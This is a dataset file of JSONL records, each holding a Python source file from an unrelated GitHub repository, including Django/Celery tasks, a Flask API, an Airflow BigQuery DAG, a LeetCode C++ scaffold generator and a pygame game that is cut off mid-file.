+{"seq_id":"26603274358","text":"while True:\n    try:\n        h = input()\n        h = h.split(':')\n\n        hora = int(h[0]) + 1\n        minuto = int(h[1])\n\n        aux = hora - 8\n\n        if aux < 0:\n            print('Atraso maximo: 0')\n        else:\n            minuto += 60 * aux\n            print(f'Atraso maximo: {minuto}')\n\n    except EOFError:\n        break\n","repo_name":"EdilsonJr/Uri-Judge-Python","sub_path":"beginner/2003.py","file_name":"2003.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9258269846","text":"import logging\n\nfrom celery import shared_task\n\nfrom sme_ptrf_apps.core.models import (\n    AcaoAssociacao,\n    Arquivo,\n    Associacao,\n    ContaAssociacao,\n    FechamentoPeriodo,\n    Periodo,\n    PrestacaoConta,\n)\n\nfrom sme_ptrf_apps.core.services.enviar_email import enviar_email_html\n\nlogger = logging.getLogger(__name__)\n\n\n@shared_task(\n    retry_backoff=2,\n    retry_kwargs={'max_retries': 8},\n    time_limet=600,\n    soft_time_limit=300\n)\ndef concluir_prestacao_de_contas_async(periodo_uuid, associacao_uuid):\n    from sme_ptrf_apps.core.services.prestacao_contas_services import _criar_documentos, _criar_fechamentos\n\n    periodo = Periodo.by_uuid(periodo_uuid)\n    associacao = Associacao.by_uuid(associacao_uuid)\n    prestacao = PrestacaoConta.abrir(periodo=periodo, associacao=associacao)\n\n    acoes = associacao.acoes.filter(status=AcaoAssociacao.STATUS_ATIVA)\n    contas = associacao.contas.filter(status=ContaAssociacao.STATUS_ATIVA)\n\n    _criar_fechamentos(acoes, contas, periodo, prestacao)\n    logger.info('Fechamentos criados para a prestação de contas %s.', prestacao)\n\n    _criar_documentos(acoes, contas, periodo, prestacao)\n    logger.info('Documentos gerados para a prestação de contas %s.', prestacao)\n\n    prestacao = prestacao.concluir()\n    logger.info('Concluída a prestação de contas %s.', prestacao)\n\n\n@shared_task(\n    retry_backoff=2,\n    retry_kwargs={'max_retries': 8},)\ndef processa_carga_async(arquivo_uuid):\n    from sme_ptrf_apps.core.services import processa_carga\n    logger.info(\"Processando arquivo %s\", arquivo_uuid)\n    arquivo = Arquivo.objects.filter(uuid=arquivo_uuid).first()\n    if not arquivo:\n        logger.info(\"Arquivo não encontrado %s\", arquivo_uuid)\n    else:\n        logger.info(\"Arquivo encontrado %s\", arquivo_uuid)\n    processa_carga(arquivo)\n\n","repo_name":"ollyvergithub/SME-PTRF-BackEnd","sub_path":"sme_ptrf_apps/core/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71881250887","text":"file = open(\"trans.test\",\"r\",encoding='utf-8')\r\ncontents = file.readlines()\r\n# print(contents[1:10][:])\r\nadmin = []\r\nfor msg in contents:\r\n    msg = msg.strip('\\n')\r\n    adm = msg.split(';')\r\n    if '\"src_text\":\"\"' in adm[1]:\r\n        adm[1] = ''\r\n    admin.append(adm)\r\n# print(admin[0:5])\r\nfile.close()\r\n# for i in admin:\r\n    # if \r\nwith open('desc_trans.txt','w',encoding='utf-8') as f:\r\n# with open('otomevn_full.txt','w') as f:\r\n    for i in admin:\r\n        for j in i:\r\n            f.write(j)\r\n            f.write(';')\r\n        f.write('\\n')\r\n    f.close()","repo_name":"yunpingwang27/otomegame","sub_path":"deal_trans.py","file_name":"deal_trans.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73784160009","text":"from flask import Blueprint, request\nfrom task.models import Task\nfrom user.models import User\nfrom db import db\n\ntask_blueprint = Blueprint('task', __name__)\n\n@task_blueprint.route(\"\", methods=[\"POST\"])\ndef create_tasks():\n    # check json or not\n    if not request.is_json:\n        return {\"error\": \"Bukan json!!\"}, 400\n\n    data = request.get_json()\n    \n    # task available in data or not\n    if \"title\" not in data:\n        return {\"error\": \"Title not available\"}, 400\n    \n    title = data.get(\"title\")\n    user_id = data.get(\"user_id\")\n\n    user = User.query.get(user_id)\n    if not user:\n        return {\"error\": \"User not found!\"}, 404\n    \n    task = Task(user=user, title=title)\n    db.session.add(task)\n    db.session.commit()\n\n    return {\"message\": \"success\"}\n\n# tasks = [{'task': 'Coding with Flask', 'status': 'in progress'}]\n\n# @task_blueprint.route(\"\", methods=[\"GET\"])\n# def get_tasks_list():\n#     return tasks\n\n# allowed_status = [\"in progress\", \"to do\", \"done\"]\n\n# @task_blueprint.route(\"/<int:index>\", methods=[\"PUT\"])\n# def update_tasks(index):\n#     if index > len(tasks):\n#         return {\"error\": \"task not found!\"}, 404\n    \n#     data = request.get_json()\n#     task = data.get(\"task\")\n#     status = data.get(\"status\") # None\n    \n#     if status not in allowed_status:\n#         return {\"error\": \"status tidak valid!\"}, 400            \n\n#     updated_task = tasks[index - 1]\n\n#     if task:\n#         updated_task[\"task\"] = task\n    \n#     if status:\n#         updated_task[\"status\"] = status\n\n#     tasks[index - 1] = updated_task\n\n#     return tasks\n\n\n# @task_blueprint.route(\"/<int:index>\", methods=[\"DELETE\"])\n# def delete_task(index):\n#     if index > len(tasks):\n#         return {\"error\": \"news not found!\"}, 404\n    \n#     del tasks[index - 1]\n\n#     return tasks","repo_name":"luthfihariz/revou-flask-api","sub_path":"day-2/task/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5193830482","text":"from basic_python.basictools import pause\n\n\ndef get_y(a, b):\n    return lambda x: a * x + b\n\n\ny1 = get_y(14, 3)\nprint(y1(2))  # 结果为2\n\nprint((lambda x, y: x * 3 + y * 78)(90, 5))\n\n\ndef get_y_normal(a, b):\n    def func(x):\n        return a * x + b\n\n    return func\n\n\ny2 = get_y_normal(12, 3)\nprint(y2)\nprint(y2(4))\npause()\n'''\nCreate a function.\n'''\n\n\ndef quicksort(arr):\n    if len(arr) <= 1:\n        return arr\n    pivot = arr[len(arr) // 2]\n    left = [x for x in arr if x < pivot]\n    middle = [x for x in arr if x == pivot]\n    right = [x for x in arr if x > pivot]\n    return quicksort(left) + middle + quicksort(right)\n\n\nprint(quicksort([3, 6, 8, 10, 1, 2, 1]))\n\nanimals = ['cat', 'dog', 'monkey']\nfor idx, animal in enumerate(animals):\n    print('#%d: %s' % (idx + 1, animal))\n\n'''\nCreate a class.\n'''\n\n\nclass Greeter(object):\n    # Constructor\n    def __init__(self, name):\n        self.name = name  # Create an instance variable\n\n    # Instance method\n    def greet(self, loud=False):\n        if loud:\n            print('HELLO, %s!' % self.name.upper())\n        else:\n            print('Hello, %s' % self.name)\n\n\ng = Greeter('Fred')  # Construct an instance of the Greeter class\ng.greet()  # Call an instance method; prints \"Hello, Fred\"\ng.greet(loud=True)  # Call an instance method; prints \"HELLO, FRED!\"\n","repo_name":"likewind1234/nlp-basic-study","sub_path":"basic_python/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17292479395","text":"import pendulum\nfrom airflow.providers.google.cloud.operators.bigquery import (\n    BigQueryCreateExternalTableOperator,\n    BigQueryDeleteTableOperator,\n)\n\nfrom airflow import DAG\n\nwith DAG(\n    dag_id=\"running-buses-gcs-files-dag\",\n    description=\"GCP MANAGER DAG\",\n    start_date=pendulum.now(),\n    tags=[\"live-buses\"],\n) as dag:\n    date = pendulum.now(tz=\"America/Sao_Paulo\")\n    day = date.format(\"DD\")\n    month = date.format(\"MM\")\n    year = date.format(\"YYYY\")\n    hour = date.format(\"HH\")\n\n    project_id = \"bus-data-389717\"\n    bq_dataset_name = \"dbt_busdata_stag\"\n\n    delete_table = BigQueryDeleteTableOperator(\n        task_id=\"delete_table_running_buses\",\n        deletion_dataset_table=f\"{project_id}.{bq_dataset_name}.external_table_running_buses\",\n        gcp_conn_id=\"google_cloud_default\",\n        ignore_if_missing=True,\n    )\n\n    gcs_bucket_name = \"data_lake_bus_data_bus-data-389717\"\n    gcs_path_name = (\n        f\"running_buses/year={year}/month={month}/day={day}/hour={hour}/*.csv\"\n    )\n    # gcs_path_name = f\"running_buses/year={year}/month={month}/day={day}/hour=14/*.csv\"\n    # gcs_path_name = f\"running_buses/year={year}/month={month}/day=22/hour=13/part-00000-29e33fc5-b95e-4f0e-b351-1f131fa0eeac-c000.csv\"\n    create_external_table = BigQueryCreateExternalTableOperator(\n        task_id=\"create_external_table_running_buses\",\n        destination_project_dataset_table=f\"{bq_dataset_name}.external_table_running_buses\",\n        bucket=gcs_bucket_name,\n        source_objects=[gcs_path_name],\n        schema_fields=[\n            {\"name\": \"line_name\", \"type\": \"STRING\", \"mode\": \"NULLABLE\"},\n            {\"name\": \"line_number\", \"type\": \"INTEGER\", \"mode\": \"NULLABLE\"},\n            {\"name\": \"qtd_running_buses\", \"type\": \"INTEGER\", \"mode\": \"NULLABLE\"},\n            {\"name\": \"timestamp\", \"type\": \"TIMESTAMP\", \"mode\": \"NULLABLE\"},\n        ],\n        gcp_conn_id=\"google_cloud_default\",\n    )\n\n    delete_table >> create_external_table\n","repo_name":"warzinnn/bus-data","sub_path":"airflow/dags/running_buses_gcp_dag.py","file_name":"running_buses_gcp_dag.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8398788129","text":"import pandas as pd\nimport numpy as np\nimport json\nimport os\nfrom sklearn.model_selection import KFold\n\nclass Davis:\n    def __init__(self, train=True, sim_type='sis', d_threshold=0.6, p_threshold=0.6):\n        self.train = train\n        self.sim_type = sim_type\n        self.sim_neighbor_num = 5\n        self.d_threshold = d_threshold\n        self.p_threshold = p_threshold\n\n        self.setting2_path = './data/davis/folds/fold_setting2.json'\n        self.setting3_path = './data/davis/folds/fold_setting3.json'\n\n        self.ligands_path = './data/davis/ligands_can.json'\n        self.d_ecfps_path = './data/davis/drug_ecfps.csv'\n        self.d_vecs_path = './data/davis/drug_vec.csv'\n        self.d_sim_path = './data/davis/drug-drug_similarities_2D.txt'\n        self.p_gos_path = './data/davis/protein_go_vector.csv'\n        self.p_sim_path = './data/davis/target-target_similarities_WS.txt'\n\n    def _load_data(self, setting, fold):\n        self.d_vecs = np.loadtxt(self.d_vecs_path, delimiter=',', dtype=float, comments=None)\n        self.d_ecfps = np.loadtxt(self.d_ecfps_path, delimiter=',', dtype=int, comments=None)\n\n        d_sim_path = self.d_sim_path\n        delimiter = ' '\n        if self.sim_type != 'default':\n            d_sim_path = './data/davis/drug_{}.csv'.format(self.sim_type)\n            delimiter = ','\n        self.d_sim = np.loadtxt(d_sim_path, delimiter=delimiter, dtype=float, comments=None)\n\n        self.p_gos = pd.read_csv(self.p_gos_path, delimiter=',', header=0, index_col=0).to_numpy(float)\n        p_sim = np.loadtxt(self.p_sim_path, delimiter=' ', dtype=float, comments=None)\n        p_max, p_min = p_sim.max(axis=0), p_sim.min(axis=0)\n        self.p_sim = (p_sim - p_min) / (p_max - p_min)\n\n        self.p_embeddings = pd.read_csv('./data/davis/protein_embedding.csv', delimiter=',', header=None,\n            index_col=0).to_numpy(float)\n\n        self.y = np.loadtxt('./data/davis/Y.txt', delimiter=',', dtype=float, comments=None)\n","repo_name":"HuangStomach/SISDTA","sub_path":"data/davis/davis.py","file_name":"davis.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40688270379","text":"#!/usr/bin/python3\n\"\"\"defines an integer addition function\"\"\"\n\ndef add_integer(a, b=98):\n    \"\"\"\n        add_integer: adds two integers\n\n        Floats are type casted into ints\n\n        Raises:\n            TypeError: if either a bor b is non int or non-float\n    \"\"\"\n\n    if ((not isinstance(a, int) and not isinstance(a, float))):\n        raise TypeError(\"a must be an integer\")\n\n    if ((not isinstance(b, int) and not isinstance(b, float))):\n        raise TypeError(\"b must be an integer\")\n\n    return (int(a) + int(b))\n","repo_name":"balagrivine/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5361861433","text":"from django.urls import path, include\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom .views import RenderCertificate, searchCertificate, FindView, UpdateUserView, IndexView, DashboardView, AddCoupleView, PaymentView, AddWedView, AddDivorseView, SearchDocumentView, CertificateView, updateStatus\n\napp_name = 'certification'\nurlpatterns=[\n    path('', IndexView.as_view(), name='home'),\n    path('search', searchCertificate, name='search'),\n    path('certificate/<str:pk>', CertificateView.as_view(), name='certificates'),\n    path('dash/certificate/<str:pk>', RenderCertificate.as_view(), name='render-certificates'),\n    path('certificate/<str:pk>/payment', PaymentView.as_view(), name='payment'),\n    path('dash', DashboardView.as_view(), name='dashboard'),\n    path('add-couple', AddCoupleView.as_view(), name='add-couple'),\n    path('add-wed', AddWedView.as_view(), name='add-wed'),\n    path('add-divorse', AddDivorseView.as_view(), name='add-divorse'),\n    path('profile/<pk>', UpdateUserView.as_view(), name='profile'),\n    path('find', FindView.as_view(), name='find'),\n    path('certificate/success', updateStatus, name='updatestatus')\n]+ static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)","repo_name":"Bateyjosue/divorse-certification","sub_path":"certification/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"38351628596","text":"import torch\nimport torchvision\nimport numpy as np\nfrom PIL import Image\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom torchvision.transforms import Compose, Resize, ToTensor, transforms, functional as TF\n\nMEAN = np.array([0.48145466, 0.4578275, 0.40821073]).reshape(-1, 1, 1)\nSTD = np.array([0.26862954, 0.26130258, 0.27577711]).reshape(-1, 1, 1)\n\n\ndef get_image_grid(images):\n  # preprocess images\n  image_size = (224, 224)\n  image_preprocess = Compose([\n    Resize(image_size, interpolation=Image.BICUBIC),\n    ToTensor()\n  ])\n  images = [image_preprocess(img) for img in images]\n\n  # stack into a grid and return\n  image_stack = torch.tensor(np.stack(images))\n  image_grid = torchvision.utils.make_grid(image_stack, nrow=5)\n  transform = transforms.ToPILImage()\n  image_grid = transform(image_grid)\n\n  return image_grid\n\n\ndef get_similarity_heatmap(scores, images, text, transpose_flag):\n  count_images = len(images)\n  count_text = len(text)\n  scores = np.round(scores, 2)\n  scores = scores.T if transpose_flag else scores\n\n  # create the figure\n  fig = plt.figure()\n  for i, image in enumerate(images):\n    plt.imshow(np.asarray(image), extent=(i, i + 1.0, -1.0, -0.2), origin=\"lower\")\n  sns.heatmap(scores, annot=scores, cbar_kws={'label': 'Probaility'}, cmap='viridis')\n  plt.xticks([])\n  plt.yticks(np.arange(count_text) + 0.5, text, rotation=0, fontsize=10)\n  plt.xlabel('Images')\n  plt.ylabel('Text')\n  plt.xlim([0.0, count_images + 0.5])\n  plt.ylim([count_text + 0.5, -1.0])\n  plt.title('Predictions', fontweight='bold')\n\n  return fig\n\n\ndef prepare_images(images, out_res, device):\n  all_image = []\n  for img in images:\n    # PNGs are RGBA and JPGs are RGB, fix at RGB\n    img = img.convert('RGB')\n    res = min(img.size)\n    out = TF.center_crop(img, (res, res))\n    out = TF.resize(out, (out_res, out_res))\n    out = TF.to_tensor(out).unsqueeze(0)\n    out = (out - MEAN) / STD\n    all_image.append(out)\n  return torch.cat(all_image, dim = 0).to(device)\n","repo_name":"NimbleBoxAI/NL-Images","sub_path":"clip/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"15347711710","text":"from ast import arg\nimport os\nimport re\nimport string\n\n\nclass CppGenerator():\n    CMAKE_FILENAME = \"CMakeLists.txt\"\n    SRC_FILE = \"main.cpp\"\n    DUMMY_DESCRIPTION = '// DUMMY_DESCRIPTION'\n    DUMMY_SNIPPET = '// DUMMY_SNIPPET'\n    DUMMY_TESTS = '// DUMMY_TESTS'\n    ASSERT_TEMPALTE = \"assert((VAR1) == (VAR2));\"\n    CLASS_INSTANCE = 'solution'\n    parameterTypes = dict()\n\n    def __init__(self, workDir, problemDescription, codeSnippet):\n        self.workDir = workDir\n        self.code = codeSnippet\n        self.description = problemDescription\n        self.getRetTypesAndParams()\n\n    def generate(self):\n        try:\n            self.setCmakeProjectName()\n            self.configureMain()\n            return True\n        except:\n            return False\n\n    def setCmakeProjectName(self):\n        cmakeFile = self.workDir + '/' + self.CMAKE_FILENAME\n        name = \"project (\" + self.workDir.split(\"/\")[-1] + \")\"\n        with open(cmakeFile, 'r') as file:\n            filedata = file.read()\n\n        filedata = re.sub(r'project \\(.*\\)', name, filedata, 1)\n        with open(cmakeFile, 'w') as file:\n            file.write(filedata)\n\n    def configureMain(self):\n        mainFile = self.workDir + '/' + self.SRC_FILE\n        with open(mainFile, 'r') as file:\n            filedata = file.read()\n        # problem description\n        filedata = filedata.replace(self.DUMMY_DESCRIPTION, self.description)\n        # codeSnippet\n        filedata = filedata.replace(self.DUMMY_SNIPPET, self.code)\n        # examples  & asserts\n        assertionBlock = \"Solution \" + self.CLASS_INSTANCE+\";\\n\"\n        assertionBlock += self.asserts\n        filedata = filedata.replace(self.DUMMY_TESTS, assertionBlock)\n        with open(mainFile, 'w') as file:\n            file.write(filedata)\n\n    def getRetTypesAndParams(self):\n        code = self.code\n        opBrck = code.find('(')\n        clBrck = code.find(')')\n        brackets = code[opBrck+1:clBrck]\n        for argPair in brackets.split(','):\n            argPair = argPair.strip().replace('&', '').split(' ')\n            self.parameterTypes[argPair[1]] = argPair[0]\n\n        typeFin = code.rfind(' ', 0, opBrck)\n        typeStrt = code.rfind(' ', 0, typeFin)\n        self.fooName = code[typeFin:opBrck].strip()\n        self.returnType = code[typeStrt:typeFin].strip()\n        if 'void' in self.returnType:\n            self.returnType = 'auto'\n\n    def parseExamples(self, examples):\n        result = ''\n        for example in examples:\n            result += '\\n{\\n'\n            example.replace(' ', '')\n            splited = example.split('\\n')\n            for row in splited:\n                if 'Input:' in row:\n                    row = row.replace('Input:', '')\n                    for arg in row.split(', '):\n                        argType = self.parameterTypes.get(\n                            arg.split('=')[0].strip(), 'auto')\n                        if argType == 'auto':\n                            print(\"ERROOOORROOO\")\n                        result += argType + ' ' +\\\n                            arg.replace('[', '{').replace(']', '}')\n                        result += ';\\n'\n                elif 'Output:' in row:\n                    row = row.replace('Output:', '')\n                    result += self.returnType + ' result = ' + \\\n                        row.replace('[', '{').replace(']', '}')\n                    result += ';\\n'\n                else:\n                    continue\n            fooBrackets = ''\n            for k, v, in self.parameterTypes.items():\n                fooBrackets += k + ','\n            fooBrackets = fooBrackets[0:-1]\n            result += self.ASSERT_TEMPALTE.replace('VAR1', 'result').replace(\n                'VAR2', self.CLASS_INSTANCE + '.' + self.fooName + '('+fooBrackets+')')\n            result += '\\n}'\n        self.asserts = result\n","repo_name":"Stasne/leetcode_helper","sub_path":"cpp_gen.py","file_name":"cpp_gen.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5363618089","text":"import pygame\nimport random\nimport math\nimport os\nimport sys\nfrom config import *\n# initializing the pygame\npygame.init()\n\n# font classes for score, player name, prommpt\nfont = pygame.font.Font(MESSAGE_FONT, 40)  # taking font face from config.py\nfont_ = pygame.font.Font(MESSAGE_FONT, 18)\n\n# Configuration variables\nWIDTH = 1000\nHEIGHT = 1000\nSCREEN = pygame.display.set_mode(\n    (WIDTH, HEIGHT))\nJUMP_VEL = 12\ngameOver = False\nSTAGE_WIDTH = WIDTH/STAGES\n\n# loading all the sprites\nexplosion_sound = pygame.mixer.Sound(\"music/explosion.ogg\")\n# background music to be played entire game\npygame.mixer.music.load(\"music/background_music.ogg\")\npygame.mixer.music.play(-1)  # loopoijg indefinitely\n# loading the ground where player stands\ngnd = [pygame.image.load(\"images/gnd.png\"),\n       pygame.image.load(\"images/gnd-1.png\")]\ngnd_c = 0\n# FIREBALL =[pygame.image.load(\"fireball32x32.png\"),pygame.image.load(\"fireball132x32.png\"),pygame.image.load(\"fireball232x32.png\")]\nEXPLOSION = [\n    pygame.image.load(\"images/explosion-0.png\"), pygame.image.load(\n        \"images/explosion-2.png\"), pygame.image.load(\"images/explosion-3.png\"),\n    pygame.image.load(\"images/explosion-4.png\"), pygame.image.load(\n        \"images/explosion-5.png\"), pygame.image.load(\"images/explosion-6.png\"),\n]\n\n# creating the lists/ Groups\ndragon_list = []\nexplosions = pygame.sprite.Group() #this will store explosions\nfireball = pygame.sprite.Group() #this will store fireballs\nall_sprites = pygame.sprite.Group()\ngems = pygame.sprite.Group() #for storing gems\nenemies = pygame.sprite.Group() #for storing bombs\n\n# generic function to check collisions\n\n\ndef check_collision(\n        rect1,\n        rect2):\n    if (rect2.right > rect1.left\n        and rect1.right > rect2.left\n        and rect1.bottom > rect2.top\n            and rect1.top < rect2.bottom):\n        return True\n    return False\n\n# function to make a new window to start the game\n\n\ndef newGame():\n    global dragon_list\n    global explosions\n    global fireball\n    global all_sprites\n    global gems\n    global enemies\n    dragon_list = []\n    explosions = pygame.sprite.Group()\n    fireball = pygame.sprite.Group()\n    all_sprites = pygame.sprite.Group()\n    gems = pygame.sprite.Group()\n    enemies = pygame.sprite.Group()\n    for i in range(STAGES):\n        for j in range(5):\n            gems.add(Gem(random.randint(40, WIDTH-200), STAGE_WIDTH*i-16,      #creating random gems\n                         random.choice([\"score\", \"score\", \"heart\", \"score\"])))\n    for i in range(STAGES):\n        for j in range(BOMB_COUNT):  #creating random enemies\n            enemies.add(Enemy(random.randint(40, WIDTH-200), STAGE_WIDTH*i-32))\n    # all_sprites.add(player)\n    for i in range(STAGES):\n        dragon_list += [Dragon(i)] #creating dragons\n\n# class for creating health and scoring gems\n\n\nclass Gem(pygame.sprite.Sprite):\n    def __init__(\n            self, x, y,\n            name):\n        super(Gem, self).__init__()\n        self.x = x\n        self.y = y\n        self.name = name\n        if name == \"score\":\n            self.surf = pygame.image.load(\"images/gem-black.png\")\n        if name == \"heart\":\n            self.surf = pygame.image.load(\"images/heart.png\")\n        self.rect = self.surf.get_rect(\n            center=(\n                x,\n                y,\n            )\n        )\n\n    def update(self, player):\n        if check_collision(player.rect, self.rect):\n            self.kill()\n            if self.name == \"heart\":\n                player.health += 10 #updating health after collectiong health gems\n                if player.health > 64:\n                    player.health = 64\n            if self.name == \"score\":\n                player.score += 1   #updating player scoring after collecting score gems\n\n# class for creating enemiy bombs\n\n\nclass Enemy(pygame.sprite.Sprite):\n    def __init__(self, x, y):\n        super(Enemy, self).__init__()\n        self.x = x\n        self.y = y\n        self.surf = pygame.image.load(\"images/death.png\")\n        self.rect = self.surf.get_rect(\n            center=(\n                x,\n                y,\n            )\n        )\n\n    def update(self, player):\n        if check_collision(self.rect, player.rect):\n            # pygame.mixer.Sound.stop(explosion_sound)\n            self.kill()\n            player.health -= 5 #reducing health after enemy collision\n            explosions.add(Explosion(self.rect.centerx, self.rect.centery)) #explosion after collison with enemy\n            # pygame.mixer.Sound.play(explosion_sound)\n            # explosion_sound.play()/\n\n        # player.score +=1\n\n# class for creating players\n\n\nclass Player(pygame.sprite.Sprite):\n    rounds = 0\n    direc = 1\n    alive = True\n    score = 0\n    time = 0\n    # global gameOver\n    health = 64\n    jumping = False\n    stage = 0\n    speed = 5\n    jump_vel = -JUMP_VEL\n    jump_acc = 0.4\n\n    def __init__(self, direc, name):\n        super(Player, self).__init__()\n        self.direc = direc\n        self.name = name\n        if STAGES > 8:\n            self.surf = pygame.image.load(\"images/pikachu.png\")\n        else:\n            self.surf = pygame.image.load(\"images/pikachu-2.png\")\n        if direc == 1:\n            self.rect = self.surf.get_rect(\n                center=(\n                    0,\n                    HEIGHT-32,\n                )\n            )\n        else:\n            self.rect = self.surf.get_rect(\n                center=(\n                    0,\n                    STAGE_WIDTH-32\n                )\n            )\n\n    def update(self, pressed_keys):\n        if self.direc == 1 and self.rect.bottom < 0 and self.stage != 0:\n            self.rounds += 1\n            self.stage = 0\n            self.rect.bottom = WIDTH\n            newGame()\n            return\n        if self.direc == -1 and self.rect.top > HEIGHT and self.stage != 0:\n            self.rounds += 1\n            self.stage = 0\n            newGame()\n            return\n        if pressed_keys[pygame.K_LEFT]:\n            self.rect.move_ip(-self.speed, 0)\n        if pressed_keys[pygame.K_RIGHT]:\n            self.rect.move_ip(self.speed, 0)\n        if not self.jumping and pressed_keys[pygame.K_SPACE]:\n            self.stage += 1\n            self.jumping = True\n        if self.jumping:\n            self.jump_vel += self.jump_acc\n            self.rect.move_ip(0, self.jump_vel)\n            if self.rect.bottom > HEIGHT-STAGE_WIDTH*self.stage and self.jump_vel > 0 and self.direc == 1:\n                self.rect.bottom = HEIGHT-STAGE_WIDTH*self.stage\n                self.jump_vel = -JUMP_VEL\n                self.jumping = False\n            elif self.rect.bottom > HEIGHT-STAGE_WIDTH*(STAGES-1-self.stage) and self.jump_vel > 0 and self.direc == -1:\n                self.rect.bottom = HEIGHT-STAGE_WIDTH*(STAGES-1-self.stage)\n                self.jump_vel = -JUMP_VEL\n                self.jumping = False\n\n        if self.rect.left < 0:\n            self.rect.left = 0\n        if self.rect.right > WIDTH:\n            self.rect.right = WIDTH\n        if self.health < 0:\n            explosions.add(Explosion(self.rect.centerx, self.rect.centery))\n            self.alive = False\n            # self.kill()\n        pygame.draw.rect(SCREEN, (0, 0, 0),\n                         (self.rect.left, self.rect.top-10, 64, 10))\n        pygame.draw.rect(SCREEN, (0, 200, 20), (self.rect.left,\n                                                self.rect.top-10, self.health, 10))\n        text = font.render(\n            f\":{self.score} Round:{self.rounds+1}\", True, (2, 25, 0))\n        SCREEN.blit(pygame.image.load(\"images/gem-black.png\"),(0,0))\n        SCREEN.blit(text, (32, 0))\n        string = font_.render(f\"{self.name}\", True, (0, 200, 100))\n        SCREEN.blit(string, (self.rect.left, self.rect.top-25))\n\n# class for creating the fire breathing dragons\n\n\nclass Dragon(pygame.sprite.Sprite):\n    id = 0\n    state = 0\n    dir = 1\n    rand = random.randint(10, 20)\n    frame_rate = 20\n    frame_count = 0\n    # fire = False\n    fire_count = 0\n\n    def __init__(self, id):\n        super(Dragon, self).__init__()\n        self.surf = pygame.transform.flip(\n            pygame.image.load(\"images/dragon.png\"), 1, 0)\n\n        self.rect = self.surf.get_rect(\n            center=(\n                WIDTH - 32,\n                HEIGHT - STAGE_WIDTH*id - STAGE_WIDTH/2,\n            )\n        )\n        self.id = id\n\n    def update(self, player):\n        # if self.id <= player.stage+2 and self.id> player.stage-1:\n        if self.frame_count > self.frame_rate:\n            self.frame_count -= self.frame_rate\n            self.rect.move_ip(0, 5*self.dir)\n            self.dir = -1 * self.dir\n        if self.fire_count > self.rand:\n            self.rand = random.randint(50, 100)\n            self.fire_count -= self.rand\n            fireball.add(FireBall(self.id))\n        self.fire_count += 1\n        if check_collision(self.rect, player.rect):\n            player.health -= 0.2\n        self.frame_count += 1\n\n# class for creationg fireballs\n\n\nclass FireBall(pygame.sprite.Sprite):\n    id = 0\n    turn = 0\n\n    def __init__(self, id):\n        super(FireBall, self).__init__()\n        # self.surf = pygame.image.load(\"fireball32x32.png\")\n        self.surf = pygame.transform.flip(\n            pygame.image.load(\"images/bird.png\"), 1, 0)\n        if FIREBALL_SPEED == None:\n            self.speed = random.random()*5+1\n        else:\n            self.speed = FIREBALL_SPEED\n\n        self.rect = self.surf.get_rect(\n            center=(\n                WIDTH-150,\n                HEIGHT - STAGE_WIDTH*id-STAGE_WIDTH/2-30,\n            )\n        )\n        self.id = id\n\n    def update(self, player):\n        if self.rect.left < 0:\n            self.kill()\n        self.rect.move_ip(-self.speed-3*player.rounds, 0)\n        self.turn = (self.turn+1) % 3\n        # self.surf= FIREBALL[self.turn]\n        # self.surf= FIREBALL[self.turn]\n        if check_collision(self.rect, player.rect):\n            self.kill()\n            explosions.add(Explosion(self.rect.centerx, self.rect.centery))\n            player.health -= 10\n\n# class for creating explosions\n\n\nclass Explosion(pygame.sprite.Sprite):\n    frames = 6\n    frame_id = 0\n    frame_count = 0\n    frame_rate = 15\n\n    def __init__(self, x, y):\n        super(Explosion, self).__init__()\n        # explosion_sound.play()\n        pygame.mixer.music.load(\"images/explosion.ogg\")\n        pygame.mixer.music.play()\n        # pygame.mixer.music.queue(\"background_music.ogg\")\n        pygame.mixer.music.load(\"music/background_music.ogg\")\n        pygame.mixer.music.play(-1)\n        self.x = x\n        self.y = y\n        self.surf = EXPLOSION[0]\n        self.rect = self.surf.get_rect(\n            center=(\n                x,\n                y,\n            )\n        )\n\n    def update(self, player1):\n        self.frame_count += 1\n        if self.frame_count < 20:\n            return\n        self.frame_count -= self.frame_rate\n        self.frame_id += 1\n        if self.frame_id == 6:\n            self.kill()\n            return\n        self.surf = EXPLOSION[self.frame_id]\n\n\n# creting 2 players\nplayer1 = Player(1, \"player1\")\nplayer2 = Player(-1, \"player2\")\nplayer = None\n\n# the main loop\nwhile not gameOver:\n    #checking for the quit presses\n    for event in pygame.event.get():\n        if event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_ESCAPE:\n                gameOver = True\n        elif event.type == pygame.QUIT:\n            gameOver = True\n\n    #checking for the player\n    if(player == None):\n        player = player1\n        newGame()\n    elif not player1.alive and player == player1:\n        player = player2\n        newGame()\n   